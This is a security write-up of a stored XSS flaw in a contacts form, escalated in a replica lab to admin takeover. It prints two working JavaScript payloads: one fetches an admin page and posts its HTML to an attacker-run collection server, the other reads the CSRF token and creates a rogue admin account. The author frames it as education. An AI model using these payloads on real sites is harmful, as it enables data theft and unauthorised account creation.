Weaponised XSS Payload (Write Up)
Several months ago, I found a Stored XSS within the Contacts feature of a particular site. This is kinda private site, therefore for the sake of this document and to maintain its privacy, we will refer to it as xss-labs.test.
In order to better illustrate and explain the implications of this discovery, I’ve taken the initiative to create a simple labs environment that replicates the conditions of this finding so screenshot and others are not taken from real site.
I received an XSS alert as usual after entering and submitting the payload in the form. The information I received was standard, including User-agent, User IP, DOM HTML Content, and more. However, I didn’t obtain any user Cookies from this process.
I found out that there are other pages in the HTML Content that only admins can visit, such as /manage/users
, /manage/contents
, etc.
When I realized that there were other pages potentially usable on the web, I attempted to make requests to those endpoints. I did this to obtain HTML content, allowing me to review what I might find on other pages.
I added the following script in the Custom Payload column of ezXSS. This will cause the target website to execute an additional payload that I provided, following the execution of the main payload.
fetch('http://xss-labs.test/admin/users')
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.text();
})
.then(html => {
// Create a new XMLHttpRequest object
var xhr = new XMLHttpRequest();
// Specify the type of request, URL, and that it's asynchronous
xhr.open("POST", "https://myezxss.domain/assets/logs/receiver.php", true);
// Set request headers
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// Define what happens on successful data submission
xhr.onload = function () {
if (xhr.status >= 200 && xhr.status < 300) {
// Handle the response here
console.log('Success:', xhr.responseText);
} else {
throw new Error('The request was successful, but the response status was not in the range 200-299');
}
};
// Define what happens in case of an error
xhr.onerror = function () {
console.error('There was an error with the request.');
};
// Send the request with the HTML content
xhr.send('htmlContent=' + encodeURIComponent(html));
})
.catch(error => {
console.error('There was a problem with your fetch operation:', error);
});
The provided script is straightforward JavaScript code. It sends a request to http://xss-labs.test/admin/users. Upon successful execution, it forwards the HTML content to https://myezxss.domain/assets/logs/receiver.php, which I’ve previously set up. The file receiver.php is a basic PHP file that receives the POST request and saves the data to an HTML file, allowing me to view and read the content.
While examining the content of the /admin/users page
, I identified a hyperlink (highlighted in red text.) This link directed to a page specifically designed for the creation of a new user. Intrigued by this finding, I decided to put it to the test. I attempted to apply the same process I had used before to this particular URL, hoping to uncover additional insights or potential vulnerabilities.
After examining the input form closely, I created a script to submit the form with the name, username, and password fields. For the _token
, I used the querySelector()
method to retrieve its value.
// Prepare the URL
const url = 'http://xss-labs.test/admin/users/add';
// Create a FormData object and append the input values
let formData = new FormData();
formData.append('name', 'Hekermen');
formData.append('username', 'heker');
formData.append('password', 'heker');
formData.append('_token', document.querySelector('input[name="_token"]').value);
// Use the Fetch API to submit the form data
fetch(url, {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
After applying the new payload in Custom Payload on ezXSS, I was able to create a new account on the target website. Now, all I need to do is log in using the username and password I created to access the admin panel of the target successfully.
Other references:
- Weaponised XSS Payloads — Luke Stephens (hakluke)
- Tricks for Weaponizing XSS — TrustedSec
- Creatively Chaining XSS Techniques — Walter Oberacher